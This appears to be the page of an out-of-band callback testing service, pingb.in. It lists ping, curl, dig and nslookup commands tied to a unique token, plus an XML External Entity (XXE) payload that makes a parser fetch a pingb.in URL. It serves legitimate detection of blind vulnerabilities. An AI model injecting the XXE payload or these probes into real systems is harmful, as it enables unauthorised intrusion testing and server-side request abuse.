$ ping -c1 -p 006b7f0a118ff2c70258699d805bfe00 pingb.in
 
$ curl pingb.in/p/6b7f0a118ff2c70258699d805bfe
 
$ dig 6b7f0a118ff2c70258699d805bfe @pingb.in
 
$ dig 6b7f0a118ff2c70258699d805bfe.ns.pingb.in
 
C:\> nslookup 6b7f0a118ff2c70258699d805bfe pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/6b7f0a118ff2c70258699d805bfe">]>
    <foo>&xxe;</foo>
 
Waiting for ping...